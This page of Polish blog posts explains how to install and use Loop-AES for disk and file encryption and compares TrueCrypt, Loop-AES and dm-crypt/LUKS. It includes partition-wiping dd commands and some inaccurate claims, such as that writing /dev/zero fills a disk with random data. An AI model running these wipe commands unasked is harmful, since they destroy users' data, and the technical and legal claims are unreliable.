Za kilka dni umieszczę kilka moich skryptów pomagających w zabawie z dm.

Jeżeli macie jakieś problemy zawsze możecie napisać coś na forum lub w komentarzu, postaram się pomóc.

Tagged with:
 

Jak już wcześniej pisałem, dziś postanowiłem opisać pierwszą metodę szyfrowanie danych, dziś AES-Loop.

Przez wiele osób kojarzone z jądrem 2.4.X niestety Loop-AES nigdy w nim nie był i pewnie już nigdy nie będzie, jest dostępny tylko i wyłącznie jako patch/moduł na oba 2.4.X i 2.6.X.

Jak sama nazwa wskazuje Loop-AES koduje za pomocą algorytmu AES i nie da się go zmienić na żaden inny. Loop-AES nie używa crypto-loop-a który pojawił się w 2.6.X a na dodatek nie zadziała gdy jest on wkompilowany, co wcale nie jest dobra ani fajne bo dla osób które migrują np. z crypto-loop-a (inny algorytm niż AES) operacja jest utrudniona.
Muszę też dodać że Loop-AES jest „kapryśny” podczas kompilacji, o czym będę pisał później.

A teraz do rzeczy:

1. Musimy mieć źródła kernel-a możliwie nowego które pobieramy do /usr/src (http://www.kernel.org/)
2. Rozpakowywanemu je do /usr/src/linux
3. Pobieramy AES-Loop (http://loop-aes.sourceforge.net/) i rozpakowywanemu do /usr/src/loop-AES-XXXXX
4. Pobieramy i rozpakowywanemu util-linux do /usr/src/util-linux (http://www.kernel.org/pub/linux/utils/util-linux/)

5.MODUŁ – Ustawiamy kernel tak aby NIE posiadał:
< > Loopback device support

Spotkałem się już z kilkoma opisami które piszą że do Loop-AES wymagane są: RAM disk czy też MINIX (system plików), nie wiem do czego to ma być ale testowałem i nie są wymagane. (Ram disk może być gdy ktoś by chciał kodować / ale można to samo zrobić wkompilowując Loop-AES w jądro.
5. WKOMPILOWANY W JĄDRO – zanim przystąpimy do ustawiania kernel-a musimy go zpatchować:
cd /usr/src/linux
patch -p1 < /usr/src/loop-AES-vX.XX/kernel-2.6.X.diff
potem „make menuconfig”
i wybieramy:
<*> Loopback device support
[*] AES encrypted loop device support (NEW)

6. Kompilujemy, instalujemy a potem uruchamiamy nowy kernel.
7. Teraz kompilacja Loop-AES, bardzo zalecam: make clean && make
8. Potem wskakujemy do util-linux i patchujemy jego źródło patchem z loop-AES:
patch -p1 <../loop-AES-vX.XX/util-linux-X.XXX.diff
9. Instalacja util-linux trzeba wykonać dokładnie tak:
# export CFLAGS=-O2
# export LDFLAGS=’-static -s’
# ./configure
# make SUBDIRS=”lib mount”
# cd mount
# install -m 4755 -o root mount umount /bin
# install -m 755 losetup swapon /sbin
# rm -f /sbin/swapoff && ( cd /sbin && ln -s swapon swapoff )
# rm -f /usr/share/man/man8/{mount,umount,losetup,swapon,swapoff}.8.gz
# install -m 644 mount.8 umount.8 losetup.8 /usr/share/man/man8
# install -m 644 swapon.8 swapoff.8 /usr/share/man/man8
# rm -f /usr/share/man/man5/fstab.5.gz
# install -m 644 fstab.5 /usr/share/man/man5
# cp -p /lib/modules/`uname -r`/block/loop.ko /boot/loop-`uname -r`.ko
(zalecenia autora)

10. Na koniec można wykonać mały test funkcjonoania Loop-AES wchodząc do katalogu źródeł Loop-AES i wykonując „make tests” co powinno dać nam wynik:
*** Tests result ok ***

11. KONIEC INSTALACJI :>

UŻYTKOWANIE

A. Szyfrowanie ala cała partycja.

1. Jeżeli mamy jakąś miłą partycję którą możemy wykorzystać pod Loop-AES, musimy wymłócić na niej dane. W tym celu:
dd if=/dev/zero of=/dev/hdaX bs=4k
co skutecznie zastąpi wszelkie dane na partycji losowymi danymi.
wersja hARdCORE (losowymi danymi)
dd if=/dev/urandom of=/dev/hdaX bs=4k
co niestety może potrwać i zależy w dużej mierze od mocy obliczeniowej naszego komputera.

2. Inicjacja szyforwania partycji:
losetup -e AES256 -T /dev/loop0 /dev/hdaX
Potem wpisujemy hasło, im dłuższe i bardziej zróżnicowane tym lepsze.
Zamiast AES 256bit możemy jeszcze użyć AES128 i AES192 jednak trzeba pamiętać że zwiększa to prawdopodobieństwo że ktoś rozkoduje nasze dane. (nieznacznie)

3. Inicjujemy system plików:
mkfs -t xfs /dev/loop0
Ja używam xfs oraz reiserfs ale każdy może wybrać co chcesz np. ext3 i nie wpłynie to w żaden sposób na bezpieczeństwo naszych danych.

4. Montujemy partycję:
losetup -e AES256 /dev/loop0 /dev/hdaX
mount /dev/loop0 /mnt/szyfrowana

GOTOWE :>

5.Aby odmontować:
umount /dev/loop0
losetup -d /dev/loop0

Można też się bawić w skrypty czy wpisy do fstab tak aby system montował naszą partycję przy starcie:

/dev/hdaX /mnt/szyfrowana xfs defaults,loop=/dev/loop0,encryption=AES256 0 0

i pytał o hasło :>

Ja osobiście do zamiast hasło używam pliku umieszczonego na pen-drive w którym mam jakieś kilka kilo danych prosto z /dev/urandom

A montuje to za pomocą skryptu:
#/bin/sh
mount /dev/sda1 /mnt/flash
cat /mnt/flash/klucz | losetup -e AES256 /dev/loop0 /dev/hdaX
mount -t xfs /dev/loop0 /mnt/szyfrowana

B. Szyfrowanie ala plik

1. Tworzymy plik w którym będą nasze dane:
dd if=/dev/zero of=/root/zaszyfrowany bs=4k count=2560

2. Wiążemy pętle z plikiem
losetup -e AES256 -T /dev/loop0 /root/zaszyfrowany

3. Tworzymy system plików:
mkfs -t xfs /dev/loop0

4. Montujemy plik:
losetup -e AES256 /dev/loop0 /root/zaszyfrowany
mount /dev/loop0 /mnt/zaszyfrowany

Tak samo jak z partycją tak i z plik możemy wpisać do fstab.

To chyba tyle 🙂

Dodam jeszcze że X w moim opisie oznacz coś co trzeba zmienić dopasować pod własny system lub jest to wersja programu pakietu itp.

Strona domowa: http://sourceforge.net/projects/loop-aes/

Jeżeli ktoś ma jakieś pytanie to proszę kierować je na forum.

Tagged with:
 

lockOstatnimi czasy wiele osób obawia się kontroli oprogramowania w prywatnych domach. Tego typu obawy są raczej bezpodstawne, głównie dlatego że policja nie może wejść nam do domu bez nakazu a nakaz wydaje prokurator, jednak aby mógł wydać taki nakaz policja musi mu przedstawić dowody udowadniające że dokonujemy przestępstwa.

Tak że jeżeli nie udostępniamy setek GB mp3 czy innych PIRACKICH materiałów lub też nie śpimy na pirackich DVD to nie ma się czego obawiać.

Słyszałem też że są osoby które twierdzą jakoby policja wchodziła na odznakę, co jest MAKSYMALNĄ bzdura. Miśki mogą tak zrobić o ile mają UZASADNIONE podejrzenie dokonywania przestępstwa. Mówi się tu o czymś w rodzaju, zagrożenie życia, strzały etc.

Jeżeli te argumenty was nie przekonują możecie pokusić się zaszyfrowanie swoich danych, przed niepowołanym dostępem osób trzecich i nie mówię tu o miśkach.

Jeżeli chodzi o Window$ do wyboru mamy bardzo dużo programów ale ja znam tylko jeden który zwrócił moją uwagę.
TrueCrypt – darmowy, lekki i prosty. Potrafi kodować do pliku, całe partycje, całe dyski, napędy zewnętrzne takie jak dyski USB/FireWire czy też pamięć flash. Odbywa się to bardzo bez stresowo, do wyboru mamy wiele algorytmów szyfrujących.
Jedyne wady jakie udało mi się doszukać to dziwne niekompatybilność z programami typu Eraser ( do czyszczenia wolnego obszaru dysku ) który może uszkodzić strukturę dysku.
Dziwne rzeczy dzieją się też gdy kompresujemy lub szyfrujemy dane za pomocą wbudowanych możliwości systemu window$. (nie polecam kompilacji)

Gdy jesteśmy użytkownikami LINUX-a mamy do dyspozycji takie rarytasy jak Loop-AES czy Device Mapper, a nawet TrueCrypt dla linux-a.

Mimo że nie posiadam żadnych piratów od jakiegoś czasu (3 lata) kodowałem cały jeden dysk za pomocą Loop-AES a niedawno przeniosłem dane na dm-crypt.

Tak prawdę mówiąc nie wiem co jest lepsze, jednak Loop-AES mnie troszkę denerwował bo jest tylko modułem lub patchem na kernel, czyli każda wymiana jądra wiąże się z kompilacją Loop-AES która jest denerwująca.

Czemu? Może krótki przykład:
Miałem kernel skompilowany i działający, źródła w /usr/src/linux zainstalowałem Loop-AES który skompilował się bez problemu, potem zmieniłem kilka opcji jądra i po zainstalowaniu modułów byłem zmuszony do przekompilowania Loop-AES, a tu loop-AES się sypie bo konfiguracja jadra nie zgadza się z ta na której chodzi system.

Kolejna sprawa, używam 2 patchy na samo jądro plus 4 zewnętrzne moduły do obsługi urządzeń, po co mi w takiej sytuacji kolejny Loop-AES ?!
Dlatego też nie zdecydowałem się na krok dalej, czyli Device Mapper.

Nie wiem który jest wydajniejszy ale wiem który jest bezpieczniejszy… to Device Mapper używany za pomocą cryptsetup z LUKS-em.

LUKS to Linux Unified Key Setup który pozwala nam, między innymi na:
– więcej niż jedno hasło/klucz
– zmianę hasła bez konieczności ponownego szyfrowania danych

Wśród zalet LUKS mówi się też o znacznie większym poziomie bezpieczeństwa, dużej kompatybilności między formatami szyfrowania danych czy też WYGODZIE! 🙂
Dla mnie ważne było też to że nie muszę mieć kolejnego moduły zew. bo dm-crypt jest częścią jajka.

Na koniec pozostaje wybór algorytmu szyfrującego i tu na uwagę zasługują kolejno:

AES – bardzo silny algorytm polecane przez 90% użytkowników
LRW – nie jest to może algorytm szyfrujący a raczej sposób na szyfrowanie które dedykowane jest dla dysków itp. Pierwsze 128, 192, 256 bit klucza to AES reszta to LRW czyli przyporządkowanie każdego zaszyfrowanego bloku do jego logicznego płożenia na dysku. (Rozmiary kluczy: 256, 320, 384)
3DES (TripleDES)- ja nie polecam, mówi się że złamanie go wymaga kilku dni obliczeń, mówi się że jest podatny na ataki kryptoanalityczne. Trzeba jeszcze dodać że wydajność tego algorytmu jest średnio 4-5 razy mniejsza niż AES-a.
TwoFish/BlowFish – wiele osób je poleca, ja testowałem je przez 2-3 miesiące, są wydajniejsze niż AES jednak różnica jest niewielka (~2-4%) a AES jest bezpieczniejszy.

Mój wybór LRW! (ale uwaga bo aktualnie w jadrze widnieje obok niego napis EXPERIMENTAL, jednak ja go używam i nic niepokojącego się nie dzieje.

No i to tyle… na razie… jak będę miał więcej czasu pomyślę o ciekawych opisach sposób szyfrowania.

Cryptsetup LUKS: http://luks.endorphin.org/
Loop-AES: http://sourceforge.net/projects/loop-aes/
TrueCrypt: http://www.truecrypt.org/
Porówanie: http://pl.wikibooks.org/wiki/TrueCrypt

Tagged with:
 

Portal Bezpieczna Sieć - Forum komputerowe, Informatyka śledcza, bezpieczeństwo, backtrack, kali - Kali Linux Polska Edycja - Polska Edycja Backtrack - Poradnik dla gracza - Praca oparta na wiedzy i edukacji - Seriws Laptopów Katowice - Sklep Komputerowy Katowice - Parking BETA przy lotnisku Pyrzowice - miejsce Run w sieci - Prawda od promocjach ,Informatyka, promocje, ceny, ekonomia, ekologia, filozofia - Prawda na tematy informatyki, ekonomii, ekologii - Wróżka, Poezja - eMono-cykl, SegWay, AirWheel, SoloWheel

stat4u